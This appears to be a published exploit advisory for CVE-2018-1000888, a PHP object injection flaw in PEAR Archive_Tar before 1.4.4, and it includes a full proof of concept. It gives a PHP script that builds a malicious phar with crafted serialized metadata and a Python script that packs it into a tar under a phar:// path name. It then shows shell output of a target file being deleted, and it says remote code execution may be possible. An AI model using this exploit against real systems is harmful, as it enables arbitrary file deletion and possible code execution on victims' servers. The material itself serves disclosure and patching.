PEAR Archive_Tar < 1.4.4 - PHP Object Injection

PEAR Archive_Tar < 1.4.4 - PHP Object Injection

Date:
  January 10, 2019

Author:
  farisv

Vendor Homepage:
  https://pear.php.net/package/Archive_Tar/

Vulnerable Package Link:
  http://download.pear.php.net/package/Archive_Tar-1.4.3.tgz

CVE:
  CVE-2018-1000888

In PEAR Archive_Tar before 1.4.4, there are several file operation with `$v_header['filename']` as parameter (such as file_exists, is_file, is_dir, etc). When extract() is called without a specific prefix path, we can trigger phar induced unserialization by crafting a tar file with `phar://[path_to_malicious_phar_file]` as path name. Object injection can be used to trigger destructor/wakeup method in the loaded PHP classes, e.g. the Archive_Tar class itself. With Archive_Tar itself, we can trigger arbitrary file deletion because `@unlink($this->_temp_tarname)` will be called in the destructor method. If another class with useful gadget is loaded, remote code execution may be possible.


Steps to reproduce object injection and arbitrary file deletion:

1. Make sure that PHP & PEAR are installed.
2. Download vulnerable PEAR Archive_Tar.

$ wget http://download.pear.php.net/package/Archive_Tar-1.4.3.tgz
$ tar xfz Archive_Tar-1.4.3.tgz
$ cd Archive_Tar-1.4.3

3. Create vulnerable code (vulnerable.php).

```
<?php
  require 'Archive/Tar.php';

  $exploit = new Archive_Tar('exploit.tar');
  $exploit->extract();
```

4. Create dummy file /tmp/test.

$ touch /tmp/test

5. Genereate exploit.phar with the following PHP code and place the exploit.phar in the same directory with vulnerable.php.

```
<?php

class Archive_Tar {
  public $_temp_tarname;
}

$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');

$object = new Archive_Tar;
$object->_temp_tarname = '/tmp/test';
$phar->setMetadata($object);
$phar->stopBuffering();
```

6. Create exploit.tar with the following Python code.

```
import tarfile

tf = tarfile.open('exploit.tar', 'w')

tf.add('/dev/null', 'phar://exploit.phar')
tf.close()
```

7. Execute vulnerable.php to trigger object injection to delete /tmp/test.

$ ls -alt /tmp/test
-rw-rw-r-- 1 vagrant vagrant 0 Jan  9 16:41 /tmp/test
$ php vulnerable.php
$ ls -alt /tmp/test
ls: cannot access '/tmp/test': No such file or directory